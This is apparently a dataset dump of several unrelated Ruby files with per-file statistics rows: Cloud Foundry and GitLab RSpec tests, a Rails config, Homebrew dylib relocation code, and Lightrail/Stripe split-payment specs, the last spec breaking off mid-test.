set_current_user(developer)
end
it 'returns the in progress state' do
get '/v2/service_bindings?inline-relations-depth=1'
expect(last_response).to have_status_code(200)
service_binding = decoded_response['resources'].first
expect(service_binding['entity']['last_operation']['type']).to eq('create')
expect(service_binding['entity']['last_operation']['state']).to eq('in progress')
end
end
end
describe 'GET', '/v2/service_bindings/:guid/parameters' do
let(:space) { Space.make }
let(:developer) { make_developer_for_space(space) }
context 'when the service binding is valid' do
let(:service_plan) { ServicePlan.make(service: service) }
let(:managed_service_instance) { ManagedServiceInstance.make(space: space, service_plan: service_plan) }
let(:process) { ProcessModelFactory.make(space: space) }
context 'when the service has bindings_retrievable set to false' do
let(:service) { Service.make(bindings_retrievable: false) }
it 'returns a 400' do
set_current_user(developer)
binding = ServiceBinding.make(service_instance: managed_service_instance, app: process.app)
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(400)
expect(last_response.body).to include('This service does not support fetching service binding parameters.')
end
end
context 'when the service has bindings_retrievable set to true' do
let(:service) { Service.make(bindings_retrievable: true) }
let(:broker) { service.service_broker }
let(:binding) { ServiceBinding.make(service_instance: managed_service_instance, app: process.app) }
let(:body) { { 'parameters' => { 'foo' => true } }.to_json }
let(:response_code) { 200 }
before do
stub_request(:get, %r{#{broker_url(broker)}/v2/service_instances/#{guid_pattern}/service_bindings/#{guid_pattern}}).
with(basic_auth: basic_auth(service_broker: broker)).
to_return(status: response_code, body: body)
set_current_user(developer)
end
context 'when the broker has nested binding parameters' do
let(:body) { { 'parameters' => { 'foo' => { 'bar' => true } } }.to_json }
it 'returns the parameters' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(200)
expect(last_response.body).to eql({ 'foo' => { 'bar' => true } }.to_json)
end
end
context 'when the broker returns empty object' do
let(:body) { {}.to_json }
it 'returns an empty object' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(200)
expect(last_response.body).to eql({}.to_json)
end
end
context 'when the brokers response is missing a parameters key but contains other keys' do
let(:body) { { 'credentials' => {} }.to_json }
it 'returns an empty object' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(200)
expect(last_response.body).to eql({}.to_json)
end
end
context 'when the broker returns multiple keys' do
let(:body) { { 'credentials' => {}, 'parameters' => { 'foo' => 'bar' } }.to_json }
it 'returns only the parameters' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(200)
expect(last_response.body).to eql({ 'foo' => 'bar' }.to_json)
end
end
context 'when the broker returns invalid json' do
let(:body) { '{]' }
it 'returns 502' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(502)
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-ServiceBrokerResponseMalformed')
end
end
context 'when the broker returns a non-200 response code' do
let(:response_code) { 500 }
it 'returns a 502 and an error' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(502)
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-ServiceBrokerBadResponse')
end
end
context 'when the broker parameters is not a JSON object' do
let(:body) { { 'parameters' => true }.to_json }
it 'returns 502' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(502)
hash_body = JSON.parse(last_response.body)
expect(hash_body['error_code']).to eq('CF-ServiceBrokerResponseMalformed')
end
end
context 'when the user has access to the binding of a shared service instance' do
let(:managed_service_instance) { ManagedServiceInstance.make(space: Space.make, service_plan: service_plan) }
before do
managed_service_instance.add_shared_space(space)
end
it 'returns the parameters' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(200)
expect(last_response.body).to eql({ 'foo' => true }.to_json)
end
end
context 'when the user who shared the service instance tries to access binding parameters in the shared to space' do
let(:source_space) { Space.make }
let(:managed_service_instance) { ManagedServiceInstance.make(space: source_space, service_plan: service_plan) }
let(:developer) { make_developer_for_space(source_space) }
before do
managed_service_instance.add_shared_space(space)
end
it 'returns a 403' do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(403)
end
end
context 'user permissions' do
let(:user) { User.make }
let(:body) { {}.to_json }
{
'admin' => 200,
'space_developer' => 200,
'admin_read_only' => 200,
'global_auditor' => 200,
'space_manager' => 200,
'space_auditor' => 200,
'org_manager' => 200,
'org_auditor' => 403,
'org_billing_manager' => 403,
'org_user' => 403,
}.each do |role, expected_status|
context "as a(n) #{role} in the binding space" do
before do
set_current_user_as_role(
role: role,
org: space.organization,
space: space,
user: user
)
end
it "receives a #{expected_status} http status code" do
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eq(expected_status)
end
end
end
end
end
end
context 'when the binding is for a user provided service' do
let(:process) { ProcessModelFactory.make(space: space) }
let(:user_provided_service_instance) { UserProvidedServiceInstance.make(space: space) }
it 'returns a 400' do
set_current_user(developer)
binding = ServiceBinding.make(service_instance: user_provided_service_instance, app: process.app)
get "/v2/service_bindings/#{binding.guid}/parameters"
expect(last_response.status).to eql(400)
expect(last_response.body).to include('This service does not support fetching service binding parameters.')
end
end
context 'when the binding guid is invalid' do
it 'returns a 404' do
set_current_user(developer)
get '/v2/service_bindings/some-bogus-guid/parameters'
expect(last_response.status).to eql(404)
expect(last_response.body).to include('The service binding could not be found: some-bogus-guid')
end
end
context 'when the requested binding is a service key' do
let(:service_key) { ServiceKey.make }
it 'returns a 404' do
set_current_user(developer)
get "/v2/service_bindings/#{service_key.guid}/parameters"
expect(last_response.status).to eql(404)
expect(last_response.body).to include("The service binding could not be found: #{service_key.guid}")
end
end
end
end
end
| 40.880287 | 162 | 0.608438 |
d5a1f2fad08a540b87a50746551f0e3d1b898027 | 2,407 | # frozen_string_literal: true
require 'active_support/core_ext/integer/time'
Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded any time
# it changes. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports.
config.consider_all_requests_local = true
# Enable/disable caching. By default caching is disabled.
# Run rails dev:cache to toggle caching.
if Rails.root.join('tmp/caching-dev.txt').exist?
config.cache_store = :memory_store
config.public_file_server.headers = {
'Cache-Control' => "public, max-age=#{2.days.to_i}"
}
else
config.action_controller.perform_caching = false
config.cache_store = :null_store
end
# Store uploaded files on the local file system (see config/storage.yml for options).
# config.active_storage.service = :local
# Don't care if the mailer can't send.
# config.action_mailer.raise_delivery_errors = false
# config.action_mailer.perform_caching = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise exceptions for disallowed deprecations.
config.active_support.disallowed_deprecation = :raise
# Tell Active Support which deprecation messages to disallow.
config.active_support.disallowed_deprecation_warnings = []
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
# Highlight code that triggered database queries in logs.
config.active_record.verbose_query_logs = true
# Raises error for missing translations.
# config.i18n.raise_on_missing_translations = true
# Annotate rendered view with file names.
# config.action_view.annotate_rendered_view_with_filenames = true
# Use an evented file watcher to asynchronously detect changes in source code,
# routes, locales, etc. This feature depends on the listen gem.
config.file_watcher = ActiveSupport::EventedFileUpdateChecker
# Uncomment if you wish to allow Action Cable access from any origin.
# config.action_cable.disable_request_forgery_protection = true
end
| 35.397059 | 87 | 0.769838 |
ac46c5034379b7b8915d4a26d009d57c87e431a7 | 144 | class CreateReportingFacilities < ActiveRecord::Migration[5.2]
def change
create_view :reporting_facilities, materialized: true
end
end
| 24 | 62 | 0.798611 |
7a6bc2947d686ca43a6511f4e3159454ac4ac0cf | 117 | direction="east"
start=Room.current.id
dothistimeout "pedal #{direction}", 2, /pedal/ while Room.current.id == start | 39 | 78 | 0.74359 |
f7fe96a87abccbd7b20e29221e18e3eb5b919d60 | 4,100 | # frozen_string_literal: true
require File.join(File.expand_path('./../../../', __dir__), 'test_helper_for_routes')
class TestQaStandardTypeRoutes < RouteTester
INTERACTOR = MasterfilesApp::QaStandardTypeInteractor
def test_edit
authorise_pass! permission_check: MasterfilesApp::TaskPermissionCheck::QaStandardType
ensure_exists!(INTERACTOR)
Masterfiles::Quality::QaStandardType::Edit.stub(:call, bland_page) do
get 'masterfiles/quality/qa_standard_types/1/edit', {}, 'rack.session' => { user_id: 1 }
end
expect_bland_page
end
def test_edit_fail
authorise_fail!
ensure_exists!(INTERACTOR)
get 'masterfiles/quality/qa_standard_types/1/edit', {}, 'rack.session' => { user_id: 1 }
expect_permission_error
end
def test_show
authorise_pass!
ensure_exists!(INTERACTOR)
Masterfiles::Quality::QaStandardType::Show.stub(:call, bland_page) do
get 'masterfiles/quality/qa_standard_types/1', {}, 'rack.session' => { user_id: 1 }
end
expect_bland_page
end
def test_show_fail
authorise_fail!
ensure_exists!(INTERACTOR)
get 'masterfiles/quality/qa_standard_types/1', {}, 'rack.session' => { user_id: 1 }
expect_permission_error
end
def test_update
authorise_pass!
ensure_exists!(INTERACTOR)
row_vals = Hash.new(1)
INTERACTOR.any_instance.stubs(:update_qa_standard_type).returns(ok_response(instance: row_vals))
patch_as_fetch 'masterfiles/quality/qa_standard_types/1', {}, 'rack.session' => { user_id: 1, last_grid_url: DEFAULT_LAST_GRID_URL }
expect_json_update_grid
end
def test_update_fail
authorise_pass!
ensure_exists!(INTERACTOR)
INTERACTOR.any_instance.stubs(:update_qa_standard_type).returns(bad_response)
Masterfiles::Quality::QaStandardType::Edit.stub(:call, bland_page) do
patch_as_fetch 'masterfiles/quality/qa_standard_types/1', {}, 'rack.session' => { user_id: 1, last_grid_url: DEFAULT_LAST_GRID_URL }
end
expect_json_replace_dialog(has_error: true)
end
def test_delete
authorise_pass! permission_check: MasterfilesApp::TaskPermissionCheck::QaStandardType
ensure_exists!(INTERACTOR)
INTERACTOR.any_instance.stubs(:delete_qa_standard_type).returns(ok_response)
delete_as_fetch 'masterfiles/quality/qa_standard_types/1', {}, 'rack.session' => { user_id: 1, last_grid_url: DEFAULT_LAST_GRID_URL }
expect_json_delete_from_grid
end
def test_delete_fail
authorise_pass! permission_check: MasterfilesApp::TaskPermissionCheck::QaStandardType
ensure_exists!(INTERACTOR)
INTERACTOR.any_instance.stubs(:delete_qa_standard_type).returns(bad_response)
delete_as_fetch 'masterfiles/quality/qa_standard_types/1', {}, 'rack.session' => { user_id: 1, last_grid_url: DEFAULT_LAST_GRID_URL }
expect_json_error
end
def test_new
authorise_pass!
ensure_exists!(INTERACTOR)
Masterfiles::Quality::QaStandardType::New.stub(:call, bland_page) do
get 'masterfiles/quality/qa_standard_types/new', {}, 'rack.session' => { user_id: 1 }
end
expect_bland_page
end
def test_new_fail
authorise_fail!
ensure_exists!(INTERACTOR)
get 'masterfiles/quality/qa_standard_types/new', {}, 'rack.session' => { user_id: 1 }
expect_permission_error
end
def test_create_remotely
authorise_pass!
ensure_exists!(INTERACTOR)
row_vals = Hash.new(1)
INTERACTOR.any_instance.stubs(:create_qa_standard_type).returns(ok_response(instance: row_vals))
post_as_fetch 'masterfiles/quality/qa_standard_types', {}, 'rack.session' => { user_id: 1, last_grid_url: DEFAULT_LAST_GRID_URL }
expect_json_add_to_grid(has_notice: true)
end
def test_create_remotely_fail
authorise_pass!
ensure_exists!(INTERACTOR)
INTERACTOR.any_instance.stubs(:create_qa_standard_type).returns(bad_response)
Masterfiles::Quality::QaStandardType::New.stub(:call, bland_page) do
post_as_fetch 'masterfiles/quality/qa_standard_types', {}, 'rack.session' => { user_id: 1, last_grid_url: DEFAULT_LAST_GRID_URL }
end
expect_json_replace_dialog
end
end
| 36.936937 | 138 | 0.75122 |
798e723befa467380f84d950cc1a1ade8e1d8a2e | 88 | # encoding: utf-8
# copyright: 2019, Chef Software, Inc.
# license: All rights reserved
| 22 | 38 | 0.727273 |
7a1f42f8b589677a9d7fcc26127bf8b4d2556f47 | 5,130 | class Keg
def fix_dynamic_linkage
mach_o_files.each do |file|
file.ensure_writable do
if file.dylib?
@require_relocation = true
file.change_dylib_id(dylib_id_for(file))
end
each_install_name_for(file) do |bad_name|
# Don't fix absolute paths unless they are rooted in the build directory
next if bad_name.start_with?("/") &&
!bad_name.start_with?(HOMEBREW_TEMP.to_s) &&
!bad_name.start_with?(HOMEBREW_TEMP.realpath.to_s)
new_name = fixed_name(file, bad_name)
@require_relocation = true
file.change_install_name(bad_name, new_name, file)
end
end
end
generic_fix_dynamic_linkage
end
def relocate_dynamic_linkage(relocation)
mach_o_files.each do |file|
file.ensure_writable do
if file.dylib?
@require_relocation = true
id = dylib_id_for(file).sub(relocation.old_prefix, relocation.new_prefix)
file.change_dylib_id(id)
end
each_install_name_for(file) do |old_name|
if old_name.start_with? relocation.old_cellar
new_name = old_name.sub(relocation.old_cellar, relocation.new_cellar)
elsif old_name.start_with? relocation.old_prefix
new_name = old_name.sub(relocation.old_prefix, relocation.new_prefix)
end
@require_relocation = true
file.change_install_name(old_name, new_name) if new_name
end
end
end
end
# Detects the C++ dynamic libraries in place, scanning the dynamic links
# of the files within the keg.
# Note that this doesn't attempt to distinguish between libstdc++ versions,
# for instance between Apple libstdc++ and GNU libstdc++
def detect_cxx_stdlibs(options = {})
skip_executables = options.fetch(:skip_executables, false)
results = Set.new
mach_o_files.each do |file|
next if file.mach_o_executable? && skip_executables
dylibs = file.dynamically_linked_libraries
results << :libcxx unless dylibs.grep(/libc\+\+.+\.dylib/).empty?
results << :libstdcxx unless dylibs.grep(/libstdc\+\+.+\.dylib/).empty?
end
results.to_a
end
# If file is a dylib or bundle itself, look for the dylib named by
# bad_name relative to the lib directory, so that we can skip the more
# expensive recursive search if possible.
def fixed_name(file, bad_name)
if bad_name.start_with? PREFIX_PLACEHOLDER
bad_name.sub(PREFIX_PLACEHOLDER, HOMEBREW_PREFIX)
elsif bad_name.start_with? CELLAR_PLACEHOLDER
bad_name.sub(CELLAR_PLACEHOLDER, HOMEBREW_CELLAR)
elsif (file.dylib? || file.mach_o_bundle?) && (file.parent + bad_name).exist?
"@loader_path/#{bad_name}"
elsif file.mach_o_executable? && (lib + bad_name).exist?
"#{lib}/#{bad_name}"
elsif (abs_name = find_dylib(bad_name)) && abs_name.exist?
abs_name.to_s
else
opoo "Could not fix #{bad_name} in #{file}"
bad_name
end
end
def each_install_name_for(file, &block)
dylibs = file.dynamically_linked_libraries
dylibs.reject! { |fn| fn =~ /^@(loader_|executable_|r)path/ }
dylibs.each(&block)
end
def dylib_id_for(file)
# The new dylib ID should have the same basename as the old dylib ID, not
# the basename of the file itself.
basename = File.basename(file.dylib_id)
relative_dirname = file.dirname.relative_path_from(path)
(opt_record/relative_dirname/basename).to_s
end
# Matches framework references like `XXX.framework/Versions/YYY/XXX` and
# `XXX.framework/XXX`, both with or without a slash-delimited prefix.
FRAMEWORK_RX = %r{(?:^|/)(([^/]+)\.framework/(?:Versions/[^/]+/)?\2)$}
def find_dylib_suffix_from(bad_name)
if (framework = bad_name.match(FRAMEWORK_RX))
framework[1]
else
File.basename(bad_name)
end
end
def find_dylib(bad_name)
return unless lib.directory?
suffix = "/#{find_dylib_suffix_from(bad_name)}"
lib.find { |pn| break pn if pn.to_s.end_with?(suffix) }
end
def mach_o_files
hardlinks = Set.new
mach_o_files = []
path.find do |pn|
next if pn.symlink? || pn.directory?
next unless pn.dylib? || pn.mach_o_bundle? || pn.mach_o_executable?
# if we've already processed a file, ignore its hardlinks (which have the same dev ID and inode)
# this prevents relocations from being performed on a binary more than once
next unless hardlinks.add? [pn.stat.dev, pn.stat.ino]
mach_o_files << pn
end
mach_o_files
end
def recursive_fgrep_args
# Don't recurse into symlinks; the man page says this is the default, but
# it's wrong. -O is a BSD-grep-only option.
"-lrO"
end
def self.file_linked_libraries(file, string)
# Check dynamic library linkage. Importantly, do not perform for static
# libraries, which will falsely report "linkage" to themselves.
if file.mach_o_executable? || file.dylib? || file.mach_o_bundle?
file.dynamically_linked_libraries.select { |lib| lib.include? string }
else
[]
end
end
end
| 33.97351 | 102 | 0.678363 |
e22a7aaef46a248ab005081c170a44f04dce27be | 69 | # frozen_string_literal: true
module Unused
VERSION = '0.1.0'
end
| 11.5 | 29 | 0.724638 |
622ab38c2e773f9f34749b27e6f0eb99ab81089c | 10,871 | require "spec_helper"
RSpec.describe Lightrail::StripeLightrailSplitTenderCharge do
subject(:split_tender_charge) {Lightrail::StripeLightrailSplitTenderCharge}
let(:lightrail_connection) {Lightrail::Connection}
let(:lightrail_value) {Lightrail::LightrailValue}
let(:lightrail_charge) {Lightrail::LightrailCharge}
let(:lightrail_contact) {Lightrail::Contact}
let(:lightrail_account) {Lightrail::Account}
let(:stripe_charge) {Stripe::Charge}
let(:example_code) {'this-is-a-code'}
let(:example_card_id) {'this-is-a-card-id'}
let(:example_contact_id) {'this-is-a-contact-id'}
let(:example_shopper_id) {'this-is-a-shopper-id'}
let(:example_user_supplied_id) {'this-is-a-user-supplied-id'}
let(:example_pending_transaction_id) {'transaction-pending-123456'}
let(:example_captured_transaction_id) {'transaction-captured-123456'}
let(:charge_params) {{
amount: 1000,
currency: 'USD',
code: example_code,
source: 'tok_mastercard',
}}
let(:charge_params_with_user_supplied_id) {{
amount: 1000,
currency: 'USD',
shopper_id: example_shopper_id,
source: 'tok_mastercard',
userSuppliedId: example_user_supplied_id
}}
let (:lightrail_charge_instance) {instance_double(lightrail_charge)}
let(:lightrail_captured_transaction) {lightrail_charge.new(
{
cardId: example_card_id,
codeLastFour: 'TEST',
currency: 'USD',
transactionId: example_captured_transaction_id,
transactionType: 'DRAWDOWN',
userSuppliedId: '123-abc-456-def',
value: -500,
}
)}
let(:lightrail_simulated_transaction) {{
"value" => -450,
"cardId" => example_card_id,
"currency" => "USD",
"transactionBreakdown" => [{"value" => -450, "valueAvailableAfterTransaction" => 0, "valueStoreId" => "some-value-store"}]
}}
let(:stripe_charge_object) {
charge = stripe_charge.new({:id => 'mock-stripe-charge'})
charge.amount = 450
charge
}
before do
Stripe.api_key = ENV['STRIPE_API_KEY']
end
describe ".create" do
context "when given valid parameters" do
it "charges the appropriate amounts to Stripe and Lightrail code" do
expect(lightrail_charge).to receive(:create).with(hash_including({pending: true, value: -450})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_including({amount: 550})).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
split_tender_charge.create(charge_params, 450)
end
it "charges the appropriate amounts to Stripe and Lightrail cardId" do
charge_params.delete(:code)
charge_params[:card_id] = example_card_id
expect(lightrail_charge).to receive(:create).with(hash_including({pending: true, value: -450})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_including({amount: 550})).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
split_tender_charge.create(charge_params, 450)
end
it "charges the appropriate amounts to Stripe and Lightrail contactId" do
charge_params.delete(:code)
charge_params[:contact_id] = example_contact_id
allow(lightrail_account).to receive(:retrieve).with(hash_including(contact_id: example_contact_id, currency: 'USD')).and_return({'cardId' => example_card_id})
expect(lightrail_charge).to receive(:create).with(hash_including({pending: true, value: -450})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_including({amount: 550})).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
split_tender_charge.create(charge_params, 450)
end
it "charges the appropriate amounts to Stripe and Lightrail shopperId" do
charge_params.delete(:code)
charge_params[:shopper_id] = example_shopper_id
allow(lightrail_contact).to receive(:get_contact_id_from_id_or_shopper_id).with(hash_including({shopper_id: example_shopper_id})).and_return(example_contact_id)
allow(lightrail_account).to receive(:retrieve).with({contact_id: example_contact_id, currency: 'USD'}).and_return({'cardId' => example_card_id})
expect(lightrail_charge).to receive(:create).with(hash_including({pending: true, value: -450})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_including({amount: 550})).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
split_tender_charge.create(charge_params, 450)
end
it "passes the userSuppliedId to Lightrail and not to Stripe" do
allow(lightrail_contact).to receive(:get_contact_id_from_id_or_shopper_id).with(hash_including({shopper_id: example_shopper_id})).and_return(example_contact_id)
allow(lightrail_account).to receive(:retrieve).with({contact_id: example_contact_id, currency: 'USD'}).and_return({'cardId' => example_card_id})
expect(lightrail_charge).to receive(:create).with(hash_including({pending: true, value: -450, userSuppliedId: example_user_supplied_id})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_excluding(:userSuppliedId, :user_supplied_id)).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
split_tender_charge.create(charge_params_with_user_supplied_id, 450)
end
it "adds the Stripe transaction ID to Lightrail metadata" do
allow(lightrail_charge).to receive(:create).with(hash_including({pending: true, value: -450})).and_return(lightrail_charge_instance)
allow(stripe_charge).to receive(:create).with(hash_including({amount: 550})).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).with(hash_including(:metadata => hash_including(:splitTenderChargeDetails))).and_return(lightrail_captured_transaction)
split_tender_charge.create(charge_params, 450)
end
it "adjusts the LR share to respect Stripe's minimum charge amount when necessary" do
charge_params[:amount] = 460
stripe_charge_object.amount = 50
allow(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
expect(lightrail_charge).to receive(:create).with(hash_including({pending: true, value: -410})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_including({amount: 50})).and_return(stripe_charge_object)
split_tender_charge.create(charge_params, 410)
end
it "charges Lightrail only, when card balance is sufficient" do
charge_params[:amount] = 1
allow(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
expect(lightrail_charge).to receive(:create).with(hash_including({value: -1})).and_return(lightrail_charge_instance)
expect(stripe_charge).not_to receive(:create)
split_tender_charge.create(charge_params, 1)
end
it "charges Lightrail only, when no Stripe params given and Lightrail card value is sufficient" do
charge_params[:amount] = 1
charge_params.delete(:source)
allow(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
expect(lightrail_charge).to receive(:create).with(hash_including({value: -1})).and_return(lightrail_charge_instance)
expect(stripe_charge).not_to receive(:create)
split_tender_charge.create(charge_params, 1)
end
it "charges Stripe only, when Lightrail amount set to 0" do
charge_params.delete(:code)
expect(lightrail_value).not_to receive(:retrieve_code_details || :retrieve_card_details)
expect(lightrail_charge).not_to receive(:create)
expect(stripe_charge).to receive(:create).and_return(stripe_charge_object)
split_tender_charge.create(charge_params, 0)
end
end
context "when given bad/missing params" do
it "throws an error when missing both Stripe and Lightrail payment options" do
charge_params.delete(:code)
charge_params.delete(:source)
expect {split_tender_charge.create(charge_params, 0)}.to raise_error(Lightrail::LightrailArgumentError)
end
it "throws an error when Lightrail share set to more than total split tender amount" do
expect {split_tender_charge.create(charge_params, 10000000)}.to raise_error(Lightrail::LightrailArgumentError)
end
end
end
describe ".create_with_automatic_split" do
context "when given valid params" do
it "passes the Stripe and Lightrail amounts to .create" do
expect(Lightrail::Code).to receive(:simulate_charge).with(hash_including(charge_params)).and_return(lightrail_simulated_transaction)
expect(lightrail_charge).to receive(:create).with(hash_including({value: -450})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_including({amount: 550})).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
split_tender_charge.create_with_automatic_split(charge_params)
end
it "passes the Stripe and Lightrail amounts to .create - including userSuppliedId" do
allow(lightrail_contact).to receive(:get_contact_id_from_id_or_shopper_id).with(hash_including({shopper_id: example_shopper_id})).and_return(example_contact_id)
allow(lightrail_account).to receive(:retrieve).with({contact_id: example_contact_id, currency: 'USD'}).and_return({'cardId' => example_card_id})
expect(lightrail_account).to receive(:simulate_charge).with(hash_including(charge_params_with_user_supplied_id)).and_return(lightrail_simulated_transaction)
expect(lightrail_charge).to receive(:create).with(hash_including({value: -450, userSuppliedId: example_user_supplied_id})).and_return(lightrail_charge_instance)
expect(stripe_charge).to receive(:create).with(hash_excluding(:userSuppliedId, :user_supplied_id)).and_return(stripe_charge_object)
expect(lightrail_charge_instance).to receive(:capture!).and_return(lightrail_captured_transaction)
split_tender_charge.create_with_automatic_split(charge_params_with_user_supplied_id)
end
end
end
end
| 48.748879 | 183 | 0.744458 |
33db34c0f62a3ceed00d7d0dece7b54d38c23f93 | 10,076 | require 'spec_helper'
describe MergeRequests::UpdateService, services: true do
let(:project) { create(:project) }
let(:user) { create(:user) }
let(:user2) { create(:user) }
let(:user3) { create(:user) }
let(:label) { create(:label, project: project) }
let(:label2) { create(:label) }
let(:merge_request) do
create(:merge_request, :simple, title: 'Old title',
assignee_id: user3.id,
source_project: project)
end
before do
project.team << [user, :master]
project.team << [user2, :developer]
end
describe 'execute' do
def find_note(starting_with)
@merge_request.notes.find do |note|
note && note.note.start_with?(starting_with)
end
end
def update_merge_request(opts)
@merge_request = MergeRequests::UpdateService.new(project, user, opts).execute(merge_request)
@merge_request.reload
end
context 'valid params' do
let(:opts) do
{
title: 'New title',
description: 'Also please fix',
assignee_id: user2.id,
state_event: 'close',
label_ids: [label.id],
target_branch: 'target',
force_remove_source_branch: '1'
}
end
let(:service) { MergeRequests::UpdateService.new(project, user, opts) }
before do
allow(service).to receive(:execute_hooks)
perform_enqueued_jobs do
@merge_request = service.execute(merge_request)
@merge_request.reload
end
end
it { expect(@merge_request).to be_valid }
it { expect(@merge_request.title).to eq('New title') }
it { expect(@merge_request.assignee).to eq(user2) }
it { expect(@merge_request).to be_closed }
it { expect(@merge_request.labels.count).to eq(1) }
it { expect(@merge_request.labels.first.title).to eq(label.name) }
it { expect(@merge_request.target_branch).to eq('target') }
it { expect(@merge_request.merge_params['force_remove_source_branch']).to eq('1') }
it 'executes hooks with update action' do
expect(service).to have_received(:execute_hooks).
with(@merge_request, 'update')
end
it 'sends email to user2 about assign of new merge request and email to user3 about merge request unassignment' do
deliveries = ActionMailer::Base.deliveries
email = deliveries.last
recipients = deliveries.last(2).map(&:to).flatten
expect(recipients).to include(user2.email, user3.email)
expect(email.subject).to include(merge_request.title)
end
it 'creates system note about merge_request reassign' do
note = find_note('Reassigned to')
expect(note).not_to be_nil
expect(note.note).to include "Reassigned to \@#{user2.username}"
end
it 'creates system note about merge_request label edit' do
note = find_note('Added ~')
expect(note).not_to be_nil
expect(note.note).to include "Added ~#{label.id} label"
end
it 'creates system note about title change' do
note = find_note('Changed title:')
expect(note).not_to be_nil
expect(note.note).to eq 'Changed title: **{-Old-} title** → **{+New+} title**'
end
it 'creates system note about branch change' do
note = find_note('Target')
expect(note).not_to be_nil
expect(note.note).to eq 'Target branch changed from `master` to `target`'
end
end
context 'todos' do
let!(:pending_todo) { create(:todo, :assigned, user: user, project: project, target: merge_request, author: user2) }
context 'when the title change' do
before do
update_merge_request({ title: 'New title' })
end
it 'marks pending todos as done' do
expect(pending_todo.reload).to be_done
end
end
context 'when the description change' do
before do
update_merge_request({ description: 'Also please fix' })
end
it 'marks pending todos as done' do
expect(pending_todo.reload).to be_done
end
end
context 'when is reassigned' do
before do
update_merge_request({ assignee: user2 })
end
it 'marks previous assignee pending todos as done' do
expect(pending_todo.reload).to be_done
end
it 'creates a pending todo for new assignee' do
attributes = {
project: project,
author: user,
user: user2,
target_id: merge_request.id,
target_type: merge_request.class.name,
action: Todo::ASSIGNED,
state: :pending
}
expect(Todo.where(attributes).count).to eq 1
end
end
context 'when the milestone change' do
before do
update_merge_request({ milestone: create(:milestone) })
end
it 'marks pending todos as done' do
expect(pending_todo.reload).to be_done
end
end
context 'when the labels change' do
before do
update_merge_request({ label_ids: [label.id] })
end
it 'marks pending todos as done' do
expect(pending_todo.reload).to be_done
end
end
context 'when the target branch change' do
before do
update_merge_request({ target_branch: 'target' })
end
it 'marks pending todos as done' do
expect(pending_todo.reload).to be_done
end
end
end
context 'when the issue is relabeled' do
let!(:non_subscriber) { create(:user) }
let!(:subscriber) { create(:user).tap { |u| label.toggle_subscription(u) } }
it 'sends notifications for subscribers of newly added labels' do
opts = { label_ids: [label.id] }
perform_enqueued_jobs do
@merge_request = MergeRequests::UpdateService.new(project, user, opts).execute(merge_request)
end
should_email(subscriber)
should_not_email(non_subscriber)
end
context 'when issue has the `label` label' do
before { merge_request.labels << label }
it 'does not send notifications for existing labels' do
opts = { label_ids: [label.id, label2.id] }
perform_enqueued_jobs do
@merge_request = MergeRequests::UpdateService.new(project, user, opts).execute(merge_request)
end
should_not_email(subscriber)
should_not_email(non_subscriber)
end
it 'does not send notifications for removed labels' do
opts = { label_ids: [label2.id] }
perform_enqueued_jobs do
@merge_request = MergeRequests::UpdateService.new(project, user, opts).execute(merge_request)
end
should_not_email(subscriber)
should_not_email(non_subscriber)
end
end
end
context 'updating mentions' do
let(:mentionable) { merge_request }
include_examples 'updating mentions', MergeRequests::UpdateService
end
context 'when MergeRequest has tasks' do
before { update_merge_request({ description: "- [ ] Task 1\n- [ ] Task 2" }) }
it { expect(@merge_request.tasks?).to eq(true) }
context 'when tasks are marked as completed' do
before { update_merge_request({ description: "- [x] Task 1\n- [X] Task 2" }) }
it 'creates system note about task status change' do
note1 = find_note('Marked the task **Task 1** as completed')
note2 = find_note('Marked the task **Task 2** as completed')
expect(note1).not_to be_nil
expect(note2).not_to be_nil
end
end
context 'when tasks are marked as incomplete' do
before do
update_merge_request({ description: "- [x] Task 1\n- [X] Task 2" })
update_merge_request({ description: "- [ ] Task 1\n- [ ] Task 2" })
end
it 'creates system note about task status change' do
note1 = find_note('Marked the task **Task 1** as incomplete')
note2 = find_note('Marked the task **Task 2** as incomplete')
